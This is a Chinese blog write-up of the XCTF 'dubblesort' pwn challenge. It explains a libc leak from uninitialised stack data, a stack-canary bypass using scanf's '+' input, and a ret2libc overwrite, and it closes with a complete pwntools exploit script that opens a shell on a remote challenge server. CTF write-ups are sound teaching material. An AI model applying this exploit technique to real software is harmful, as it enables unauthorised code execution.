dubblesort(xctf)

原创

whiteh4nd 于 2020-08-26 20:54:25 发布 169 收藏

分类专栏： # xctf(pwn高手区) CTF

本文链接：https://blog.csdn.net/weixin_43868725/article/details/108247432

xctf(pwn高手区) 同时被 2 个专栏收录

27 篇文章 0 订阅

订阅专栏

CTF

41 篇文章 0 订阅

订阅专栏

0x0 程序保护和流程

保护：

```
[*] '/home/whitehand/Desktop/a'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled
```

流程：

main()

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  int *v4; // edi
  unsigned int v5; // esi
  unsigned int v6; // esi
  int v7; // ST08_4
  int result; // eax
  unsigned int v9; // [esp+18h] [ebp-74h]
  int v10; // [esp+1Ch] [ebp-70h]
  char buf; // [esp+3Ch] [ebp-50h]
  unsigned int v12; // [esp+7Ch] [ebp-10h]

  v12 = __readgsdword(0x14u);
  init();
  __printf_chk(1, "What your name :");
  read(0, &buf, 0x40u);
  __printf_chk(1, "Hello %s,How many numbers do you what to sort :");
  __isoc99_scanf("%u", &v9);
  v3 = v9;
  if ( v9 )
  {
    v4 = &v10;
    v5 = 0;
    do
    {
      __printf_chk(1, "Enter the %d number : ");
      fflush(stdout);
      __isoc99_scanf("%u", v4);
      ++v5;
      v3 = v9;
      ++v4;
    }
    while ( v9 > v5 );
  }
  sort((unsigned int *)&v10, v3);
  puts("Result :");
  if ( v9 )
  {
    v6 = 0;
    do
    {
      v7 = *(&v10 + v6);
      __printf_chk(1, "%u ");
      ++v6;
    }
    while ( v9 > v6 );
  }
  result = 0;
  if ( __readgsdword(0x14u) != v12 )
    sub_565D3BA0();
  return result;
}
```


存在一个问题，如果输入的数字个数过大会在输入数字的时候将栈中的数据覆盖。

0x1 利用过程

1.这个问题其实跟栈溢出差不多，题目又给出了libc，所以可以通过泄露libc的基地址计算出system函数的地址和/bin/sh字符串的地址。

2.因为buf在接收字符串之前没有清空里面可能存在垃圾数据，并且read函数输入的字符串不会加'\x00'进行截断所以可以通过buf泄露栈中的数据。

```
FFD3E85C  0A616161
FFD3E860  FFD401A8  [stack]:FFD401A8
FFD3E864  0000002F
FFD3E868  56648034  LOAD:56648034
FFD3E86C  00000016
FFD3E870  00008000
FFD3E874  F7F3A000  libc_2.23.so:F7F3A000
FFD3E878  F7F38244  libc_2.23.so:F7F38244
FFD3E87C  56648601  _init_proc+9
FFD3E880  566487A9  sub_566487A0+9
FFD3E884  56649FA0  .got:56649FA0
FFD3E888  00000001
FFD3E88C  56648B72  sub_56648B20+52
FFD3E890  00000001
FFD3E894  FFD3E954  [stack]:FFD3E954
FFD3E898  FFD3E95C  [stack]:FFD3E95C
```

在输入'aaa\n'后可以看到栈中还有很多数据，可以通过输入0x1c*'a'泄露libc中的地址。

3.利用方式需要向栈中写入数据，但是题目由开启了canary，所以需要绕过canary。查看canary存放的位置。

```
.text:000009C3                push    ebp
.text:000009C4                mov     ebp, esp
.text:000009C6                push    edi
.text:000009C7                push    esi
.text:000009C8                push    ebx
.text:000009C9                and     esp, 0FFFFFFF0h
.text:000009CC                add     esp, 0FFFFFF80h
.text:000009CF                call    sub_750
.text:000009D4                add     ebx, 15CCh
.text:000009DA                mov     eax, large gs:14h
.text:000009E0                mov     [esp+7Ch], eax
```

在esp+0x7c的位置存放canary。但是并没有任何方式泄露canary的值。通过查看大佬的文章得知当我们输入+或-符号，scanf会跳过输入。通过调试发现canary是第25个数据。

```
FFFBB1C8  00000010
FFFBB1CC  00000011
FFFBB1D0  00000012
FFFBB1D4  00000013
FFFBB1D8  00000014
FFFBB1DC  00000015
FFFBB1E0  00000016
FFFBB1E4  00000017
FFFBB1E8  00000018
FFFBB1EC  9BAB1A00
```

所以此时只需要输入+或-就可以完成绕过。

4.通过上述分析可以得出利用流程，通过buf泄露的地址计算出libc的基地址，之后通过程序的逻辑问题向返回地址处写入system函数的地址完成getshell。

- 泄露libc。

```
name='a'*0x1c
sh.sendafter('What your name :',name)
sh.recvuntil('a'*0x1c)
libc_base=u32(sh.recv(4))-init_array
```

泄露的地址在本地和远程环境中的偏移不一样。

本地的是0x1b1244。

```
.init_array:001B1244 _init_array     segment dword public 'DATA' use32
.init_array:001B1244                 assume cs:_init_array
.init_array:001B1244                 ;org 1B1244h
.init_array:001B1244                 dd offset sub_18030
.init_array:001B1248                 dd offset sub_180A0
.init_array:001B124C                 dd offset dword_18360
.init_array:001B124C _init_array     ends
```

远程是0x1ae244。

```
.init_array:001AE244 _init_array     segment dword public 'DATA' use32
.init_array:001AE244                 assume cs:_init_array
.init_array:001AE244                 ;org 1AE244h
.init_array:001AE244                 dd offset sub_18020
.init_array:001AE248                 dd offset sub_18090
.init_array:001AE24C                 dd offset dword_18350
.init_array:001AE24C _init_array     ends
```

- 计算libc的基地址，system函数和'/bin/sh'字符串的真实地址。

```
system_addr=libc_base+system_libc
bin_sh_addr=libc_base+bin_sh_libc
```

- 因为在输入完数字之后程序之后会对输入的内容进行升序排序，所以从小到大输入数据或输入大小一致的数据即可。

```
num=35
sh.sendlineafter('How many numbers do you what to sort :',str(num))

for i in range(1,25):
    print(i)
    sh.sendlineafter('number : ',str(i))

sh.sendlineafter('number : ','+')

for i in range(9):
    sh.sendlineafter('number : ',str(system_addr))

sh.sendlineafter('number : ',str(bin_sh_addr))
```

0x2 exp

```python
from pwn import *
context.log_level='debug'
local=0
if local:
    sh=process('./a')
    libc=ELF('/lib/i386-linux-gnu/libc.so.6')
    init_array=0x1b1244
else:
    sh=remote('220.249.52.133','32604')
    libc=ELF('./libc_32.so.6')
    init_array=0x1ae244

system_libc=libc.symbols['system']
bin_sh_libc=libc.search("/bin/sh").next()

name='a'*0x1c
sh.sendafter('What your name :',name)
sh.recvuntil('a'*0x1c)
libc_base=u32(sh.recv(4))-init_array

print hex(libc_base)
system_addr=libc_base+system_libc
bin_sh_addr=libc_base+bin_sh_libc

num=35
sh.sendlineafter('How many numbers do you what to sort :',str(num))

for i in range(1,25):
    print(i)
    sh.sendlineafter('number : ',str(i))

sh.sendlineafter('number : ','+')

for i in range(9):
    sh.sendlineafter('number : ',str(system_addr))

sh.sendlineafter('number : ',str(bin_sh_addr))
sh.interactive()
```